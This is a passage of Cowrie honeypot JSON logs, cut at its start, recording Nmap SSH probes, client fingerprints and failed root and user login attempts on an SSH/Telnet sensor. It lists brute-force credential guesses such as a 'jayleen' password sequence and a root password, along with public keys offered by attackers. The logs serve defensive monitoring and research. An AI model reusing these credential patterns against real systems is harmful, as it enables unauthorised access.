e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:48.633498Z","src_ip":"34.140.57.124","session":"dd52d9d6cc57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:48.639704Z","src_ip":"34.140.57.124","session":"dd52d9d6cc57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.57.124","src_port":39744,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8604c5edf2f","protocol":"ssh","message":"New connection: 34.140.57.124:39744 (159.203.135.109:22) [session: e8604c5edf2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:48.783643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:48.920223Z","src_ip":"34.140.57.124","session":"e8604c5edf2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp521"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:48.995162Z","src_ip":"34.140.57.124","session":"e8604c5edf2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:49.027621Z","src_ip":"34.140.57.124","session":"e8604c5edf2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.57.124","src_port":39750,"dst_ip":"159.203.135.109","dst_port":22,"session":"55b01c27eb9d","protocol":"ssh","message":"New connection: 34.140.57.124:39750 (159.203.135.109:22) [session: 55b01c27eb9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:49.147102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:49.285368Z","src_ip":"34.140.57.124","session":"55b01c27eb9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-ed25519"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:49.359211Z","src_ip":"34.140.57.124","session":"55b01c27eb9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:49.598541Z","src_ip":"34.140.57.124","session":"55b01c27eb9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":55293,"dst_ip":"10.17.0.5","dst_port":23,"session":"48b7be3b4e6a","protocol":"telnet","message":"New connection: 212.55.149.117:55293 (10.17.0.5:23) [session: 48b7be3b4e6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:57.930636Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":40638,"dst_ip":"10.17.0.5","dst_port":23,"session":"353aaadcc761","protocol":"telnet","message":"New connection: 212.55.149.117:40638 (10.17.0.5:23) [session: 353aaadcc761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:06:03.712700Z"}
{"eventid":"cowrie.session.closed","duration":120.00201749801636,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:06:06.370360Z","src_ip":"212.55.149.117","session":"21cc881cd993","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":42040,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf61d261c349","protocol":"ssh","message":"New connection: 103.15.226.202:42040 (10.17.0.5:22) [session: bf61d261c349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:06:17.010788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:06:17.019153Z","src_ip":"103.15.226.202","session":"bf61d261c349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:06:17.269046Z","src_ip":"103.15.226.202","session":"bf61d261c349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZwsx!@#456","message":"login attempt [root/QAZwsx!@#456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:06:18.025622Z","src_ip":"103.15.226.202","session":"bf61d261c349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:06:19.414590Z","src_ip":"103.15.226.202","session":"bf61d261c349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.171.38.51","src_port":41010,"dst_ip":"10.17.0.5","dst_port":22,"session":"771feb69310f","protocol":"ssh","message":"New connection: 142.171.38.51:41010 (10.17.0.5:22) [session: 771feb69310f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:06:56.458146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:06:56.464272Z","src_ip":"142.171.38.51","session":"771feb69310f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:06:56.529359Z","src_ip":"142.171.38.51","session":"771feb69310f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:9a:82:17:de:c7:bc:2e:bb:ca:8d:3c:09:c9:61:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoj/QiRdvSQxsztLanhH26Iz1EFt5knUa76u/G3BzWytL/qgX+prZqC8X+v1/Kj23EzEPJrbUlDL/tkkIQOn/cKVsLW9+U/ljda19qPvh7vpbvUfkVyVWBu538RKKo3X7ZsgKZ1gMA86ZhouYdc4XFECBxEKPjqbceprumY1zUuex43gGuXgprxRCVR1WmAo+rzGYIn0zUQf3WQ5lI4qzCaLsU4NLDpZsnK7U+gvEJ2+ekh0xOqhqDGgMKvs6NocP+uCP5fSMR999FAFZFwiyjD9Xq9sTHTvEwde0LZpF3Q0UVsvlQ9jYHL0Ke66G+vn3vhFQiKGaGqDpJUfIvcYbb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:9a:82:17:de:c7:bc:2e:bb:ca:8d:3c:09:c9:61:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:06:56.858394Z","src_ip":"142.171.38.51","session":"771feb69310f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:9a:82:17:de:c7:bc:2e:bb:ca:8d:3c:09:c9:61:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoj/QiRdvSQxsztLanhH26Iz1EFt5knUa76u/G3BzWytL/qgX+prZqC8X+v1/Kj23EzEPJrbUlDL/tkkIQOn/cKVsLW9+U/ljda19qPvh7vpbvUfkVyVWBu538RKKo3X7ZsgKZ1gMA86ZhouYdc4XFECBxEKPjqbceprumY1zUuex43gGuXgprxRCVR1WmAo+rzGYIn0zUQf3WQ5lI4qzCaLsU4NLDpZsnK7U+gvEJ2+ekh0xOqhqDGgMKvs6NocP+uCP5fSMR999FAFZFwiyjD9Xq9sTHTvEwde0LZpF3Q0UVsvlQ9jYHL0Ke66G+vn3vhFQiKGaGqDpJUfIvcYbb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:06:56.862804Z","src_ip":"142.171.38.51","session":"771feb69310f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:22:bf:67:e6:58:44:f3:e1:48:28:99:b5:65:ed:d8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEgmLMuuxw65mNGrUlAU0FT4msxptAt3GrbD8PjPVJ1R","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ee:22:bf:67:e6:58:44:f3:e1:48:28:99:b5:65:ed:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:06:56.933377Z","src_ip":"142.171.38.51","session":"771feb69310f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:22:bf:67:e6:58:44:f3:e1:48:28:99:b5:65:ed:d8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEgmLMuuxw65mNGrUlAU0FT4msxptAt3GrbD8PjPVJ1R","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:06:56.938183Z","src_ip":"142.171.38.51","session":"771feb69310f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:07:06:71:8e:e4:64:f6:68:42:c6:a1:96:d5:b7:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMw3ooNI9c5l/X/k67wOirSg3TNljO9P5QQzVT2SKBrce+DywodcOkMGF/daD7QsshGxkIqRQcwMD+XOotLpj+q7L3jFes9K7fIwJVBRpwL7vPx/UESu+tzkvQi75/WkxQIgJZvjHQgxUo7FsxBF6Hl61pTnqoxyAI8FVzCDV/LKTqXeW3JJWaCFK+BQviUVWPwWDFYxmlGGxIbkcpHn4rlGA26QEVG7YgcYqu0A73O4SUrJ02AD6M2e/avvb4m5ouIw6M4fGVktBn8OK+DdedcWc929R1S7utvUU+G6crtAQA5U4VZC1rVy428zALNaqSE3NzqF8fWnAN6qKX08pT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:07:06:71:8e:e4:64:f6:68:42:c6:a1:96:d5:b7:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:06:57.016445Z","src_ip":"142.171.38.51","session":"771feb69310f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:07:06:71:8e:e4:64:f6:68:42:c6:a1:96:d5:b7:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMw3ooNI9c5l/X/k67wOirSg3TNljO9P5QQzVT2SKBrce+DywodcOkMGF/daD7QsshGxkIqRQcwMD+XOotLpj+q7L3jFes9K7fIwJVBRpwL7vPx/UESu+tzkvQi75/WkxQIgJZvjHQgxUo7FsxBF6Hl61pTnqoxyAI8FVzCDV/LKTqXeW3JJWaCFK+BQviUVWPwWDFYxmlGGxIbkcpHn4rlGA26QEVG7YgcYqu0A73O4SUrJ02AD6M2e/avvb4m5ouIw6M4fGVktBn8OK+DdedcWc929R1S7utvUU+G6crtAQA5U4VZC1rVy428zALNaqSE3NzqF8fWnAN6qKX08pT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:06:57.021662Z","src_ip":"142.171.38.51","session":"771feb69310f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:cd:a5:14:c0:24:7d:17:85:44:e1:8e:b3:81:13:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtrXrHpjuUfMt/FQJpIHvRfwLj3TA2Dx7QJrrCunAw2ovZXhWqHAtILCq4l4IUmLTwY38fC/o+2PyNL5Hz/rQzMmozRGV6J2l1Q1Pjx3yDRoZi6v9cSqPz5PzP60tIrYECsAwsHIyWIavfOaMC2XFpma5pzM5iQQ08D/B6uRGkbfzj48PRRxldGk9lf2Br4Hc6b7Vhf4MKVTp3ahl7QYKOkcJdAhPmkv4D/PSB5AJkfDMrRuPyW76EUpmnSRr/9kib2ZbLjdvlUWVXBY+ZjNkJx4lMUEZsAIdLKbI8O+4L4Kl1WRHFJ2VodgC8gH27fuZ6A/UIpOTLppXIoR923Ysj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:cd:a5:14:c0:24:7d:17:85:44:e1:8e:b3:81:13:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:06:57.097822Z","src_ip":"142.171.38.51","session":"771feb69310f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:cd:a5:14:c0:24:7d:17:85:44:e1:8e:b3:81:13:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtrXrHpjuUfMt/FQJpIHvRfwLj3TA2Dx7QJrrCunAw2ovZXhWqHAtILCq4l4IUmLTwY38fC/o+2PyNL5Hz/rQzMmozRGV6J2l1Q1Pjx3yDRoZi6v9cSqPz5PzP60tIrYECsAwsHIyWIavfOaMC2XFpma5pzM5iQQ08D/B6uRGkbfzj48PRRxldGk9lf2Br4Hc6b7Vhf4MKVTp3ahl7QYKOkcJdAhPmkv4D/PSB5AJkfDMrRuPyW76EUpmnSRr/9kib2ZbLjdvlUWVXBY+ZjNkJx4lMUEZsAIdLKbI8O+4L4Kl1WRHFJ2VodgC8gH27fuZ6A/UIpOTLppXIoR923Ysj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:06:57.101890Z","src_ip":"142.171.38.51","session":"771feb69310f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:22:43:de:41:8b:58:36:46:70:5b:09:b9:51:96:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcZRYYTvukeS6vzCv5dCRkQvGxohUWqVvcYb1GaeHFFHq65HNRMNBuF3Yt5u0Nems20/mBVGFgcGS6/RPg5VFBUt20pmV9h+M37I/U7QxuGpNbyWFPHD5T/5WJ8+lborjOAEazNMEDtrGgBhhKTyBe2jKlIivnM+dUfy7jjBqYNTYFJfe0epweVcZn/aZZQpkblJmetaQVBW6BwbFglv2zm6cgLPDEa2TVvE+FoQoXY6+e4Fo0v6hfDHR/NnW8esRxbgyHPAI+EYCuKoCEiu8x//WU5avtVpU4lVpayWTxdiF9y2rIIWrbaVVERgy6aIuTazj+oifzEH42IO638FLh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:22:43:de:41:8b:58:36:46:70:5b:09:b9:51:96:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:06:57.182225Z","src_ip":"142.171.38.51","session":"771feb69310f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:22:43:de:41:8b:58:36:46:70:5b:09:b9:51:96:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcZRYYTvukeS6vzCv5dCRkQvGxohUWqVvcYb1GaeHFFHq65HNRMNBuF3Yt5u0Nems20/mBVGFgcGS6/RPg5VFBUt20pmV9h+M37I/U7QxuGpNbyWFPHD5T/5WJ8+lborjOAEazNMEDtrGgBhhKTyBe2jKlIivnM+dUfy7jjBqYNTYFJfe0epweVcZn/aZZQpkblJmetaQVBW6BwbFglv2zm6cgLPDEa2TVvE+FoQoXY6+e4Fo0v6hfDHR/NnW8esRxbgyHPAI+EYCuKoCEiu8x//WU5avtVpU4lVpayWTxdiF9y2rIIWrbaVVERgy6aIuTazj+oifzEH42IO638FLh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:06:57.187266Z","src_ip":"142.171.38.51","session":"771feb69310f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:06:57.258896Z","src_ip":"142.171.38.51","session":"771feb69310f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.39134907722473,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:07:00.321824Z","src_ip":"212.55.149.117","session":"48b7be3b4e6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":24372,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea3c986219bb","protocol":"telnet","message":"New connection: 212.55.149.117:24372 (10.17.0.5:23) [session: ea3c986219bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:07:03.148990Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":9665,"dst_ip":"10.17.0.5","dst_port":22,"session":"715fff2e1770","protocol":"ssh","message":"New connection: 213.209.159.56:9665 (10.17.0.5:22) [session: 715fff2e1770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:07:06.827956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:07:06.832668Z","src_ip":"213.209.159.56","session":"715fff2e1770","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:07:06.918182Z","src_ip":"213.209.159.56","session":"715fff2e1770","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jayleen","password":"jayleen","message":"login attempt [jayleen/jayleen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:07:07.319374Z","src_ip":"213.209.159.56","session":"715fff2e1770","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jayleen","password":"jayleen1","message":"login attempt [jayleen/jayleen1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:07:08.404841Z","src_ip":"213.209.159.56","session":"715fff2e1770","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jayleen","password":"jayleen123","message":"login attempt [jayleen/jayleen123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:07:09.489296Z","src_ip":"213.209.159.56","session":"715fff2e1770","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jayleen","password":"jayleen1234","message":"login attempt [jayleen/jayleen1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:07:10.574872Z","src_ip":"213.209.159.56","session":"715fff2e1770","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jayleen","password":"jayleen12345","message":"login attempt [jayleen/jayleen12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:07:11.660285Z","src_ip":"213.209.159.56","session":"715fff2e1770","protocol":"ssh"}
